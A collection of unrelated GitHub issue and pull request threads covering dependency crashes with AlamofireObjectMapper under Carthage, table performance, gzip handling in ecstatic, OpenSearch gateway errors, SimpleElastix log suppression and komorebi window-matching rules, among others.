If you wish to use SQL server as an actor state store, append the following to the yaml.

Fixed.


handle global presence, adjust zoom level and speed

Looks like TS is angry:
src/components/Marker/Marker.tsx(5,27): error TS6133: "Coordinates" is declared but its value is never read.


Update machine-learning-azure-ml-customer-churn-scenario.md

fixed link to Telco churn template

Hi @jeannt, I'm your friendly neighborhood Azure Pull Request Bot (You can call me AZPRBOT). Thanks for your contribution!

It looks like you're working at Microsoft (jeannt). If you're full-time, we DON'T require a contribution license agreement.

If you are a vendor, DO please sign the electronic contribution license agreement. It will take 2 minutes and there's no faxing! https://cla.azure.com.

TTYL, AZPRBOT;


daily download latest db was be usefull

Hey,
very nice service.
FeatureRequest:
daily download latest db and restart service
greetings
sam

Thank you.
Simply restart the container to fetch the latest AS database.
Cheers


dyld`dyld_fatal_error

Hi,
My configuration:

Xcode 7.3.1
Carthage 0.16.2

On my Cartfile:
github "tristanhimmelman/AlamofireObjectMapper" == 3.0.0

On each time I run the application on the device (not the simulator) it's crash like this:
dyld`dyld_fatal_error:
->  0x120075088 <+0>: brk    #0x3

After some investigation I changed my Cartfile like this:
github "Alamofire/Alamofire" == 3.4.0
github "Hearst-DD/ObjectMapper" == 1.2.0
github "tristanhimmelman/AlamofireObjectMapper" == 3.0.0

With ObjectMapper 1.2.0 no crash
AlamofireObjectMapper is not compatible with ObjectMapper 1.3.0?!?!?

Thank you.Changed Cartfile Is work for me

I'll try to figure out what is happening here. Oddly, ObjectMapper 1.3 works fine with the extension when integrating via Cocoapods.

dyld: lazy symbol binding failed: Symbol not found: __TFC12ObjectMapper6MapperCfT_GS0_x_
  Referenced from: /Users/tristan/Library/Developer/CoreSimulator/Devices/DF252227-5FBF-4857-9F29-1C5F78D96F19/data/Containers/Bundle/Application/CED93CC2-8BB0-4619-89EC-99C19C9C33AA/CarthageTester.app/Frameworks/AlamofireObjectMapper.framework/AlamofireObjectMapper
  Expected in: /Users/tristan/Library/Developer/CoreSimulator/Devices/DF252227-5FBF-4857-9F29-1C5F78D96F19/data/Containers/Bundle/Application/CED93CC2-8BB0-4619-89EC-99C19C9C33AA/CarthageTester.app/Frameworks/ObjectMapper.framework/ObjectMapper

dyld: Symbol not found: __TFC12ObjectMapper6MapperCfT_GS0_x_
  Referenced from: /Users/tristan/Library/Developer/CoreSimulator/Devices/DF252227-5FBF-4857-9F29-1C5F78D96F19/data/Containers/Bundle/Application/CED93CC2-8BB0-4619-89EC-99C19C9C33AA/CarthageTester.app/Frameworks/AlamofireObjectMapper.framework/AlamofireObjectMapper
  Expected in: /Users/tristan/Library/Developer/CoreSimulator/Devices/DF252227-5FBF-4857-9F29-1C5F78D96F19/data/Containers/Bundle/Application/CED93CC2-8BB0-4619-89EC-99C19C9C33AA/CarthageTester.app/Frameworks/ObjectMapper.framework/ObjectMapper

@ikesyo do you have any idea why this might be happening? (I know you've done lots of work with Carthage)
Thanks in advance!

I'm having the same problem, crashing at runtime
dyld: lazy symbol binding failed: Symbol not found: __TFC12ObjectMapper6MapperCfT_GS0_x_
  Referenced from: /Users/luonghuyduc/Library/Developer/CoreSimulator/Devices/677F6DF4-1EE8-432E-966B-42CF0EC6EEB3/data/Containers/Bundle/Application/EE174AE3-8AFD-43BA-9294-34CDCFAF1A4E/Sample.app/Frameworks/AlamofireObjectMapper.framework/AlamofireObjectMapper
  Expected in: /Users/luonghuyduc/Library/Developer/CoreSimulator/Devices/677F6DF4-1EE8-432E-966B-42CF0EC6EEB3/data/Containers/Bundle/Application/EE174AE3-8AFD-43BA-9294-34CDCFAF1A4E/Sample.app/Frameworks/ObjectMapper.framework/ObjectMapper

dyld: Symbol not found: __TFC12ObjectMapper6MapperCfT_GS0_x_
  Referenced from: /Users/luonghuyduc/Library/Developer/CoreSimulator/Devices/677F6DF4-1EE8-432E-966B-42CF0EC6EEB3/data/Containers/Bundle/Application/EE174AE3-8AFD-43BA-9294-34CDCFAF1A4E/Sample.app/Frameworks/AlamofireObjectMapper.framework/AlamofireObjectMapper
  Expected in: /Users/luonghuyduc/Library/Developer/CoreSimulator/Devices/677F6DF4-1EE8-432E-966B-42CF0EC6EEB3/data/Containers/Bundle/Application/EE174AE3-8AFD-43BA-9294-34CDCFAF1A4E/Sample.app/Frameworks/ObjectMapper.framework/ObjectMapper

The demangled name of __TFC12ObjectMapper6MapperCfT_GS0_x_ is ObjectMapper.Mapper.__allocating_init () -> ObjectMapper.Mapper<A>.
AlamofireObjectMapper 3.0.0 is built with ObjectMapper 1.2.0 (here) and that certainly has Mapper.init (here).
But Mapper of ObjectMapper 1.3.0 only has init(context: MapContext?) (here) and does not have init(). Yes, the former can be called as init() at source level since the arg is a default argument, but the signature isn't same with the latter.
So I think you should update the Cartfile entry in the repo as follows:
github "Hearst-DD/ObjectMapper" ~> 1.3.0

@ikesyo Wow swift-demangle is a neat trick for debugging. Thanks a lot !

@ikesyo THANK YOU! 👍 👍  I don't think I would have caught that.
I've pushed a new version of AlamofireObjectMapper (v3.0.1) that points to ObjectMapper 1.3.0. Everything seems to be working now.

For some reason I'm running in the same issue with AlamofireObjectMapper 4.0.1 and ObjectMapper 2.2.2.
dyld: lazy symbol binding failed: Symbol not found: __TFC12ObjectMapper6MapperCfT7contextGSqPS_10MapContext___GS0_x_
  Referenced from: /Users/glaurent/Library/Developer/CoreSimulator/Devices/C11DAE7D-34F6-42D5-8B72-6519CD76B987/data/Containers/Bundle/Application/145A91FE-45C6-44E0-9F22-BEC1FA8749A6/FenotekBackendTest.app/Frameworks/AlamofireObjectMapper.framework/AlamofireObjectMapper
  Expected in: /Users/glaurent/Library/Developer/CoreSimulator/Devices/C11DAE7D-34F6-42D5-8B72-6519CD76B987/data/Containers/Bundle/Application/145A91FE-45C6-44E0-9F22-BEC1FA8749A6/FenotekBackendTest.app/Frameworks/ObjectMapper.framework/ObjectMapper

I have the same error
My Cartfile:
github "Alamofire/Alamofire" == 4.2.0
github "Hearst-DD/ObjectMapper" == 2.2.2
github "tristanhimmelman/AlamofireObjectMapper" == 4.0.1

Crash with:
dyld`dyld_fatal_error:
->  0x1feb908c <+0>: trap
    0x1feb9090 <+4>: nop

in file AlamofireObjectMapper.swift line 74 function ObjectMapperSerializer:

@TofPlay see issue #170 : you need to use ObjectMapper 2.2.1.

@glaurent It's works! Thanks 😀

Having this issue again, can we have another release to fix the version incompatibility? Thanks! 👍

I am having same error:

My Cartfile

Term debug it's fine

Same error when launch test app

Could you help me thank you

I am having same error:

My Cartfile

Term debug it's fine

Same error when launch test app

Could you help me thank you

Thnx @glaurent solved issue with this cartfile

@litoarias you're welcome, but please, next time, look up a bit before posting, and copy/paste text, rather than screenshots. Thanks :)


[Question] Table is unresponsive with a lot of entries

Describe the bug
First of all, I am aware of the fact that this table does not mean to implement any kind of virtualization (yet?), but by using e.g. 10.000 entries of data (in combination with filters or other components which might re-render) it is completely unresponsive and exhausts rendering time.
I actually think this might not be classified as a bug, but maybe you can give me a hint on how to handle this situation.
Given the following scenario:
I got a column filter which is any mantine input. I have to track the value (so control the component) because the requirement is to keep the state cross paged. Now, whenever I change the value, I have to update it in my state, whereas the server request is debounced for a few seconds. Due to the fact that the filter values changes (and therefore the column definitions because I might have to change the filtering property etc.) the whole table (including all 10.000 entries) re-renders on every key-up.
I thought about memoizing the columns, but in the end at some point I must (at least partially) re-render the table, for filter visualization, displaying the loading spinner, and possibly more.
Any recommendation on how to handle this? Manually implement virtualizing? Precisely defining a memo comparator?
Basically out of ideas to fix this ...
EDIT: What do you think about offering some kind of row renderer or row memoization? When I e.g. set a filter and therefore implicitly change the column model I do not necessarily want to rerender any row.
To Reproduce
Steps to reproduce the behavior:
Render thousands of entries and e.g. use a filter input whereas the filter change re-renders the table (header).
Expected behavior
Screenshots
If applicable, add screenshots to help explain your problem.
Desktop (please complete the following information):

OS: macOS Sonoma 14.3
Browser: all
Version: latest

Additional context

https://virtuoso.dev/ - Might be a good fit for virtualisation support.

For now, I facing a huge performance drops with 150 rows.

I have created a discussion on this topic https://github.com/icflorescu/mantine-datatable/discussions/643


Updating the New Authentication Process

For more information, please check  guide on JWT app migration.

now everything is works. feel free to use!

close in favor of #3


Floating Label theme import

[x] I have searched the Issues to see if this bug has already been reported
[x] I have tested the latest version [0.6.2]

Steps to reproduce

While using flowbite-react library

Current behavior
Not able to use library,  getting error
ERROR in ./node_modules/flowbite-react/lib/esm/theme.js 1:0-74
Module not found: Error: Can't resolve '~/src/components/FloatingLabel/theme'
Expected behavior
problem in \node_modules\flowbite-react\lib\esm\theme.js
Context
It happen when you import flowbite-react library

suddenly, this morning, I am also getting this just FYI. Using flowbite 0.6.2

suddenly, this morning, I am also getting this just FYI. Using flowbite 0.6.2

This is probably because wrong import in flowbite-react\src\theme.ts

Facing the same issue :/

I just pinned to 0.6.1 in package.json and works again

+1 on 0.6.2. Revert back to 0.6.1 resolves for now.

Should be fixed at 0.6.2

thank u


Feature Request: Add back current epoch block production to cardano-wallet API

Commit 2037c60 changed a quantity data point from blocks in current epoch to a count of total blocks produced. I was using the current epoch blocks produced data point and I cannot find another API call that will give me the previously supplied data. Could the cardano-wallet API be changed to provide both current epoch block production as well as the new total blocks produced?
Example output:
{
"saturation": 0.801145582730889,
"metrics": {
"controlled_stake": {
"quantity":<PHONE_NUMBER>3973,
"unit": "lovelace"
},
"current_produced_blocks": {
"quantity": 12,
"unit": "block"
}
},
"total_produced_blocks": {
"quantity": 1709,
"unit": "block"
}
},
"cost": {
"quantity": 0,
"unit": "lovelace"
},
"margin": {
"quantity": 1,
"unit": "percent"
},
"apparent_performance": 1.420845289152538,
"metadata": {
"homepage": "https://bluecheesestakehouse.com",
"owner": "ed25519_pk1gy0e8lw4dnlkullq559c79nfmanr6e62d3c3trp6c8jsjkvges6q57672t",
"name": "Blue Cheese Stake House",
"ticker": "BCSH",
"pledge_address": "addr1s4q3lyla64k07mnluzjshrckd80kv0t8ffk8z9vv8tq72z2e3rxrg3s377j"
},

Thank you.

Now tracked in JIRA as part of the backlog :+1: , closing that one.


.NetCore 2

Hi!
Is there any update for the new version of .netcore?

Hi, Giovani!
I'll work on that. Probably next weak.

I forked the source, did the work and created a pull request for you.

Thanks Nick! I'll review it.

would you please release it for 2.0

@farshid3003  i'm already see .net core 2.0 version

You right but nuget is not uptodate

@diogodamiani could you please update nuget

@Diago - how do I test the solution? Do you have a client application along with it?
Regards,
Vinoth

@vinothbellie,
You can use IdentityServer4 Sample Clients.

It's released!
Thanks @nickverschueren for contribution and sorry about the delay. I've been really busy in the past few days!
Cheers


Show an alert when user tries to join a call with incompatible browser

Blocked by #14.

I'm going to work on this.


Bigtable system test has a "race condition" if run simultaneously on same project

Two builds (1682 and 1683) were happening simultaneously and this caused a Bigtable system test check to fail in the second build (1683)
>       self.assertEqual(len(instances), len(EXISTING_INSTANCES) + 1)
E       AssertionError: 2 != 3

This is because EXISTING_INSTANCES is set at module setup time while the test case is run later.
I'm not sure what a realistic fix should be?

I think the correct answer to this is "do nothing". If it happens more frequently, we can address it.

I agree @lukesneeringer, though I've seen ~5 such failures in the last two days


Fix stepper motor timeout

Fixes #237.
It took a while for me to figure out what was going on here, but it turns out there were two problems.
Firstly, the homing routine wasn't waiting for long enough before timing out. We forgot that the timeout is for all of the homing movements, not just the last one, so I've extended it to 10s.
Secondly, the logic around timing out for synchronous reads was broken. As we do all the reading for the device on a separate thread in order to intercept asynchronous messages (viz. the "I've stopped moving" message) that can occur at some unspecified time, we need the read timeout for the serial device to be infinity. On the other hand, we don't want the synchronous reads to wait forever (in case the device has disconnected), but the solution isn't to do what I did before and temporarily change the read timeout; what happens in that case is that the reading thread will start a new read with this new timeout then raise an exception when no new message appears, even though no message is expected. Now the timeout is set to infinity and instead we check whether synchronous reads have timed out by adding a timeout for reading the messages from _SerialReader's out_queue.
I also changed things to allow the user to set the log level with an environment variable.

@dalonsoa @dc2917 If either/both of you have a chance to review this today, that'd be great. I'm going into the lab tomorrow so ideally I'd like to test this branch after making any suggested changes if possible.
No biggie if you're busy though!

Thanks both. I'll hold off on merging this until I've tested it with the real hardware.


Important prefix does not work in <md variant group

The <md:(!text-white text-bold) generates !<md:text-white <md:text-bold, though text-white is not applied.
I'm using vite-plugin-windicss if it matters

Same here! Classes don't apply properly when I try to use <xl:(!w-full !max-w-128). Taking the classes out of the variant group, like !<xl:w-full !<xl:max-w-128, doesn't work either...
I'm also using vite-plugin-windicss.


ran black on NetPyNE

@joewgraham I was going to merge this but there's 3 conflicts, can you check them please? thx

Just a heads-up - we're going to have 630 conflicts if we merge this PR prior to #623.
We should try to merge #623, and then run the black again.

I am closing this pull request and re-running black on the latest development branch.

I'm looking at your PR now and I'll merge it before I re-run Black.


fix typo

tested https://mastern-jenkins-csb-openshift-qe.cloud.paas.psi.redhat.com/job/scale-ci-pipeline-test/287/console

lol, it was made by me yesterday


feat(progressbar): add the progressbar component

Changes Description
Here is a proposal of implementation for progress bars.
It handles the two variants (linear, circular), each sub-style (empty, image, percentage), size (small, medium, large) of them.
It also handles the progress type (determinate and indeterminate)
The Showcase has been updated to demonstrate all possible configurations for progressbar.
The documentation has been added, and the general Readme has been updated to reference this documentation.
Remarks
1 - there is still a SwiftLint warning regarding the file length. I decided not to fix it because it would require to :

either create non relevant extension
or artificially change access control of some properties to be able to put them in other files

2 - The content of this PR has already partially been reviewed by @florentlotthepro on the inner-source repo, I just refactored the showcase and doc parts, fixed @florentlotthepro feedbacks, and fixed some problems with dark mode

I tried, but most of the code is organized with common functions for both variant, and a test on the variant in the body of the method.
Splitting it in two would require to break all the code, which IMHO is not worth just to reduce the file that is less than 100 lines above the suggested Swiftlint limit.
And when I try to move extensions in other files, I always struggle with private properties/functions, that are not visible. And I am not sure this is a good idea to reduce the access control just to match the Swiftlint rule about file size.
I was just able to extract colors in a separate file. And I extracted the background and label colors in this extension.

And for the final keyword to your classes?

I add the final class on the VitamoinProgressbartclass.
Did you mean to put it on Showcase classes ? If yes, I can do that, but I am not sure to get the point since they are classes of the Showcase, they won't be packaged and distributed, and thus, I am not really sur to understand who we would like to avoid subclassing these classes... ;)

With a lot of classes, it could speed up the build, it's principally for that.

Honesttly, I did not know that. So let's go for it !

@florentlotthepro @baptistedajon is it ok to merge it soon? :)


Change older APIs

As we used older C-lang stdio APIs such as printf, scanf which are not flexible to work with custom formatted I/O streams.

In newer implementation new C++ language iostream APIs such as cout and cin are used
which is more flexible and customizable as compare to older APIs (printf, scanf).
This newer APIs uses operator overloading (">>" & "<<") so there is no issue with
custom formats/formatted strings.


*.html should support gzip

if gzip flag is turned on, it should apply to all assets including *.html. Does it make sense?
if you agree, i will add the test

Yeah, absolutely--if certain assets aren't getting gzipped when it's on, then that's a bug.

Though: Having gzip on doesn't necessarily mean that the extension is changed to .gz...this is for reading gzipped files off disk? If so, that makes sense.

otoh, you could just set the default extension to .html.gz
hmm

But your implementation is based on checking the ".gz" at line 207 to tell client whether it is gzipped content,
Here is my thought.
if gzip is on, try to get the gzip version first (let's say ecstatics.html.gz)
else fallback to ecstatics.html. it should apply to all assets.
In short, what do you think if I add the fallback logic?

you're right, the existing behavior is to take the full filename and add .gz to the end of it when searching for the fs.
Given that, I think the correct behavior is exactly the same as with non-defaulted-extensions, except with '.html' (or whatever) shoved in there. I think this is what you originally had implemented, but I'm at work so can't double-check rn.

I don't want to put too much work on your plate. But according to RFC 1952, a GZIP file always starts with the same 2 bytes to identify it as GZIP: ID1 = 31 (0x1f, \037), ID2 = 139 (0x8b, \213). - I've highlighted what you will see as the first 2 bytes in nodejs when reading a Buffer.
fs.readFile('./package.json.gz', (status, fd) => console.log(fd)) // -> <Buffer 1f 8b ...

I think a proper solution is to use something similar to the above when reading a file (regardless of extension) and if the first 2 bytes are 1f 8b, then it's gzip and should be handled as such. You could use the gzip flag to opt in for the GZIP sniffing, but I imagine that it's so fast that you'll just want to have ecstatic always being able to tell GZIP from non GZIP - e.i. fast since you're streaming the file anyway.

Here a gzip file you can use as test data.
package.json.gz

Magic bytes is a good idea. We might want to feature flag it to avoid a major version release.
Let me think about this and I'll try to say something intelligent about how to move forward tonight.

my previous claim, "Although I have not tried, I guess *.html.gz cannot be access via *.html" was completely wrong.
If you have a.html and a.html.gz and you hit a.html, ecstatic is able to pick up a.html.gz when gzip flag is on.
Actually the problem I have is on the index.html. By default, ecstatic will pick the index.html when you don't specifiy the file name in the URL. The bug is here, it won't pick the gzip version even if you have the index.html.gz
The line 123, 129 and 159 do not include req.headers. This causes

I agree. Making autoindex respect .gz as everything else does is totally a patch I would accept, and we can scope out magic bytes support as a separate issue.

check this out when you are free before I write the test

On the face of it this looks ok, but it's hard to tell 100% without seeing tests. :)

it's done

I did fix it. Please review

Thanks for the approval


CLI appends raw souce map content to css when --embed-source-map is provided and no outfile is provided

when the cli is used without specifying an output file and source maps are enabled it will pipe the source map to stdout after the css content, this makes it impossible to pipe the output into other tools when using --source-map-embed to inline the source map.
$ node_modules/.bin/node-sass --source-map true --source-map-embed --source-map-contents theme/styles/test.scss
body {
  background: #eee; }

/*# sourceMappingURL=data:application/json;base64,ewoJInZlcnNpb24iOiAzLAoJImZpbGUiOiAiLi4vdGhlbWUvc3R5bGVzL3Rlc3QuY3NzIiwKCSJzb3VyY2VzIjogWwoJCSIuLi90aGVtZS9zdHlsZXMvdGVzdC5zY3NzIgoJXSwKCSJzb3VyY2VzQ29udGVudCI6IFsKCQkiYm9keSB7XG4gICAgYmFja2dyb3VuZDogI2VlZTtcbn0iCgldLAoJIm1hcHBpbmdzIjogIkFBQUEsSUFBSSxDQUFDO0VBQ0QsVUFBVSxFQUFFLElBQUssR0FEZiIsCgkibmFtZXMiOiBbXQp9 */
{
	"version": 3,
	"file": "../theme/styles/test.css",
	"sources": [
		"../theme/styles/test.scss"
	],
	"sourcesContent": [
		"body {\n    background: #eee;\n}"
	],
	"mappings": "AAAA,IAAI,CAAC;EACD,UAAU,EAAE,IAAK,GADf",
	"names": []
}

i was hoping to be able to take the output and pipe it into other tools that can process the css and inline source map before writing to disk but the appended json breaks things.
$ node_modules/.bin/node-sass --version
node-sass	3.3.3	(Wrapper)	[JavaScript]
libsass  	3.2.5	(Sass Compiler)	[C/C++]

the problem is caused here:
https://github.com/sass/node-sass/blob/master/lib/render.js#L60
if it were changed to the following then the embedded source map would function fine and could be piped into other tools.
      if (sourceMap && !options.sourceMapEmbed) {
        emitter.emit('log', result.map.toString());
      }

I wanted to send this as a pull request but i am having trouble getting the tests to run so may not be able too.

Apologies for the failing tests. There is a race condition we're working on.


Test don't pass on OSX 10.10.5

--- FAIL: TestSelf (0.00s)
	proc_test.go:13: could not read /proc: stat /proc: no such file or directory
--- FAIL: TestFileDescriptors (0.00s)
	proc_test.go:102: could not read /proc: stat /proc: no such file or directory
--- FAIL: TestFileDescriptorTargets (0.00s)
	proc_test.go:149: could not read /proc: stat /proc: no such file or directory
FAIL
FAIL	github.comcast.com/vbo/derp-4/vendor/github.com/prometheus/procfs	0.013s

OSX/darwin does not have a procfs, that's why these tests fail. I guess the point can be made that this dependency is not strictly necessary for tests, so I removed it in #14.


icon

Awesome little app. Super-kudos.
The icon is rather indistinct and blobby in the menubar, at such a small size. Let me know if you'd like any help with it.
I'd personally prefer just a terminal rectangle with a lock icon inside to represent SSH or whatnot. But the rocketship is cool too, since it's all about "launching" -- maybe thinner and vertical would be clearer, instead of fat and tilted.

Closing for now, though open to further suggestions for improvement.


How to Change Views ?

Hy,
I've installed your Calendar Tool and I#m not able to change the view to month or day.
I've uncommended:
'views'     => [
//'calendar' => '@vendor/marekpetras/yii2-calendarview-widget/views/calendar',
'month' => '@vendor/marekpetras/yii2-calendarview-widget/views/month',
//'day' => '@vendor/marekpetras/yii2-calendarview-widget/views/day',
],
But then i get error ->
PHP Notice – yii\base\ErrorException
Undefined index: day
THX
Andy

hey @Andyal15
you can replace them with your own views, but they need to be defined
just copy those files from your vendor folder somewhere, modify them to your liking and specify the path in the views array
cheers

hey @Andyal15
you can replace them with your own views, but they need to be defined
just copy those files from your vendor folder somewhere, modify them to your liking and specify the path in the views array
cheers


Test coverage regression on mixins

Using Flutter's Dart SDK on flutter stable and master channels, there's a regression in test coverage reporting.
Consider this file in the lib folder:
// lib/main.dart

mixin A {
  void foo() {
    print('foo');
  }
}

Then tested using:
// test/my_test.dart
import 'package:flutter_test/flutter_test.dart';

import 'package:test_flutter/main.dart';

void main() {
  test('a', () {
    TestA().foo();
  });
}

class TestA with A {}

By running the command flutter test --coverage
This will report the method foo of A as being untested, when it is (the test correctly prints foo).

@jensjoha could you take a look at this?

Do we know if this is a front end issue, a coverage tools issue, or something else?

Sort of a mix.
Considering what's happening (see below) I don't really see how this is a "regression" per say, either --- it has probably "always" been broken.
What's happening is this:

When asking the VM for coverage you can do it in one of two ways

Ask the VM for coverage for everything; or
Ask the VM for coverage for a specific script

Asking the VM for coverage for everything works perfectly fine. The VM goes through everything and reports coverage correctly (at least in this case).
Asking the VM for coverage for a specific script (which is, at least now, what the flutter tools does) doesn't work in this case: The VM goes through the libraries, asking for the list of scripts they "know about", and checks for matches against what you asked for. In this case, when asking for 'master.dart', the library for 'lib.dart' says no when it shouldn't --- because of the way the mixin transformation works the content is actually in lib.dart.

I'm fixing it (or at least trying to) by basically updating 1555594 where I (for some reason that I don't recall) didn't include urls only from mixins in a libraries 'sourceReferences' index.


Exclude .g.cshtml.cs files

These kind of .g.cshtml.cs files can be in obj\Debug\netstandard2.0\Razor\Views\ but if the resources are generated, they will be in fact duplicates of existing ones.
Can you please exclude them from the generation?

The pattern to search is .cshtml.g.cs, not .g.cshtml.cs.
Can you please make the change?


[BUG] xarrow keys on physical keyboard not working on iOS

Hi,
thank you for this great work !
but I still encounter a bug:
Enter text and use the arrow keys. focus moves to previous TextFormField
can you help me ?
Thx,
Best regards

This is most likely a bug with Flutter. The arrow keys should function as normal in the webview

ok but they don't work on ipad with a bluetooth keyboard


UG: Fix some typos and inconsistencies

Codecov Report

Merging #288 (8d4beaf) into master (a574a6e) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master     #288   +/-   ##
=========================================
  Coverage     38.50%   38.50%
  Complexity      558      558
=========================================
  Files           178      178
  Lines          3301     3301
  Branches        397      397
=========================================
  Hits           1271     1271
  Misses         1888     1888
  Partials        142      142

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a574a6e...8d4beaf. Read the comment docs.


Trying to connect opensearch link but getting error - 502 Bad Gateway nginx.

Hi All,
I am trying to connect Opensearch 2.2.0/2.3.0 database with link - https://opensearch.opensearch-import-test.localhost.cloud  but getting error - 502 Bad Gateway. Logs shows following errors-
[opensearch-cluster-master-0] path: /bad-request, params: {}
java.lang.IllegalArgumentException: invalid version format: ?  8À,À0 ?Ì©Ì¨ÌªÀ+À/ ?À$À( KÀ#À' GÀ
at io.netty.handler.codec.http.HttpVersion.(HttpVersion.java:116) ~[netty-codec-http-4.1.79.Final.jar:4.1.79.Final]
at io.netty.handler.codec.http.HttpVersion.valueOf(HttpVersion.java:78) ~[netty-codec-http-4.1.79.Final.jar:4.1.79.Final]
[2023-01-06T09:49:01,998][DEBUG][r.suppressed             ] [opensearch-cluster-master-0] path: /bad-request, params: {}
java.lang.IllegalArgumentException: text is empty (possibly HTTP/0.9)
at io.netty.handler.codec.http.HttpVersion.valueOf(HttpVersion.java:65) ~[netty-codec-http-4.1.79.Final.jar:4.1.79.Final]
at io.netty.handler.codec.http.HttpRequestDecoder.createMessage(HttpRequestDecoder.java:124) ~[netty-codec-http-4.1.79.Final.jar:4.1.79.Final]
It is working fine when trying in version 1.3.2. Problem is only with opensearch 2.2.0/2.3.0.
Please help to resolve the issue.
Regards
Rajesh Kumar.

Hi Peter,
Thankyou very much for your reply.
Even after setting up ingress, I am still having the same problem. We are using "-XPUT -H 'Content-Type: application/json' http://opensearch-cluster-master:9200" as a workaround, but this only functions within the kubernetes namespace pod. The link https://opensearch.opensearch-import-test.xxx.xxxxxxxxx.cloud/ should function from any where like web browser, shell script etc within a secured network in accordance with our requirement based on namespace and environment setup.
Please help me to resolve the issue.
Regards
Rajesh Kumar.

Hi @Rajeshdaneti like @dblock have mentioned, we have no idea how you deploy the cluster.
I have no context on what exactly is behind https://opensearch.opensearch-import-test.xxx.xxxxxxxxx.cloud/ so there is really not much I can suggest here.
If you can describe how you deploy the instance it would be great help.
We also have a helm-charts repo in opensearch-project/helm-charts if you want to deploy on kubernetes clusters.
Thanks.

Hi Peter,
Yes, we are installing opensearch and opensearch  dashboards through helm charts.
Requirement - After deploying OpenSearch via the ci/cd process, we import stored report data from one environment to another, create shards with specific characteristics like refresh interval, and import exported dashboards using NDJSON. Also, we are attempting to generate the cluster/node health status via a web browser. The link http://opensearch-cluster-master:9200/ works properly when we install OpenSearch with other applications like microservices, kafka, etc. in the same namespace because they are in the same namespace. However, when importing dashboard/saved report data for different namespaces (here, opensearch is referred to as a centralized/standalone namespace) through ci/cd process does not work in the most recent versions 2.2.0/2.3.0/2.5.0 but it was working in version 1.3.2.
We are deriving the dynamic link "https://opensearch.$namespace.$cluster.$dnszone.cloud/" through config variables in ci/cd process.
Please suggest.
Regards
Rajesh Kumar.

I'm going to move this back to opensearch-devops, AFAIK your requests never reach OpenSearch, or do they? Do you see anything happening on the OpenSearch node in the logs when you make the request? I imagine not, so this is a routing/configuration problem.
@Rajeshdaneti are you saying your exact setup works with 1.x but not 2.x? double check that the OpenSearch server comes up and that you don't have an error in the logs
@zalseryani what is the problem you're having and what's the easiest repro that anyone could look at?


Elastix output in stdout buffer upon transforming with sitk.Transformix()

When I am wrapping a population of images using Transformix(), it prints the following output for each image:
ELASTIX version: 4.801
Command line options from ElastixBase:
-out      ./
-threads  unspecified, so all available threads are used
-def      unspecified, so no input points transformed
-jac      unspecified, so no det(dT/dx) computed
-jacmat   unspecified, so no dT/dx computed

Reading input image ...
  Reading input image took 0.000002 s
Calling all ReadFromFile()'s ...
  Calling all ReadFromFile()'s took 0.000045 s
Transforming points ...
  The command-line option "-def" is not used, so no points are transformed
  Transforming points done, it took 0.00s
Compute determinant of spatial Jacobian ...
  The command-line option "-jac" is not used, so no det(dT/dx) computed.
  Computing determinant of spatial Jacobian done, it took 0.00s
Compute spatial Jacobian (full matrix) ...
  The command-line option "-jacmat" is not used, so no dT/dx computed.
  Computing spatial Jacobian done, it took 0.00s
Resampling image and writing to disk ...
  Resampling took 0.19s

Is this a known issue? Is there any way to suppress this?

Hi pskeshu,
It is not an issue, it is the standard ElastiX/TransformiX verbose that output to the console.
If you don't want to see it you can set selx.LogToConsoleOff() or selx.SetLogToConsole(False).

SimpleTransformix.LogToConsoleOff() fixed it for me. Thanks!

@pskeshu @PertuyF Hello. I think it might be a good idea to mention that this is a method within each type of class, e.g. transformixImageFIlter = sitk.TransformixImageFilter(), transformixImageFIlter .SetLogToConsole(False)

Hi. I'm trying the above commands but my cell is still producing the output:
Time spent on saving the results, applying the final transform etc.: 44 ms.
ELASTIX version: 5.000
Command line options from ElastixBase:
-fMask    unspecified, so no fixed mask used
-mMask    unspecified, so no moving mask used
-out      ./
-threads  unspecified, so all available threads are used
WARNING: The parameter "UseDirectionCosines", requested at entry number 0, does not exist at all.
  The default value "true" is used instead.

WARNING: The option "UseDirectionCosines" was not found in your parameter file.
  From elastix 4.8 it defaults to true!
This may change the behavior of your registrations considerably.

Command line options from TransformBase:
-t0       unspecified, so no initial transform used

Reading images...

This is my original code:
#perform the registration                        elastixImageFilter = sitk.ElastixImageFilter.SetLogToConsole(False)             elastixImageFilter.SetFixedImage(sitk.GetImageFromArray(cropped_image_a))             elastixImageFilter.SetMovingImage(sitk.GetImageFromArray(cropped_image_b))             parameterMapVector = sitk.GetDefaultParameterMap('translation')             parameterMapVector['MaximumNumberOfIterations'] = [str(iterations)]             parameterMapVector['NumberOfResolutions'] = [str(resolutions)]             parameterMapVector['NumberOfSpatialSamples'] = [str(spatial_samples)]             elastixImageFilter.SetParameterMap(parameterMapVector)             elastixImageFilter.Execute()
Any guidance?


Generating zod schema at runtime

The output here appears to be a string defining Zod schema, however I don't always know the JSONschema I am getting ahead of time and it would be incredibly useful to be able to get a zod schema at runtime rather than a string that needs to be put into a file at compile time.

@tonyxiao  There are no plans for that at the moment. Your options are to validate your values using a json schema validator like Ajv or using eval().
Discussed in previous issue: https://github.com/StefanTerdell/json-schema-to-zod/issues/2


How to partial/regex match on title for a float rule?

When Teams is minimized and a meeting is in progress, there is a floating widget that appears. Screenshot of the widget here.
Currently it is treated like a full window but it's only roughly 100px by 100px, creating a lot of wasted space, so it needs to be treated as floating. Here is the info from AHK's window spy:
Microsoft Teams Call in progress Teams Echo
ahk_class Chrome_WidgetWin_1
ahk_exe Teams.exe
ahk_pid 16812

I tried matching by class Chrome_WidgetWin_1 but unfortunately the main MS Teams window uses the same class so the main window is also treated as floating. The title Microsoft Teams Call in progress Teams Echo is dependent on the meeting/call. Here I am in a call with Teams Echo but that part of the title string is variable. I tried to match on title Microsoft Teams Call in progress but it seems komorebi expects a full title.

I think it makes sense to change the matching logic for titles to check if the title contains the given string as substring instead of straight string matching as we have right now.
I'll open a ticket for this on the komorebi repo for follow-up later.

https://github.com/LGUG2Z/komorebi/commit/70be6f4ea4b9cc4d076fe4367a24a7053e850cbf changes the matching logic for titles and classes in float rules to allow prefix and suffix matching.

Can you give an example of how to use the starts_with or ends_with rules in my ahk config?

Nothing specific is required in your AHK config; when you provide a title or a class as part of a float rule, komorebi will always try to match it first with starts_with and then with ends_with.
eg.
komorebic.exe float-rule title "Microsoft"

This would target any title that begins or ends with the string "Microsoft".
That being said, I have hopes to integrate explicit matching strategies in komorebi rules, similarly to how this works in komokana, but there is no timeframe on this just yet.

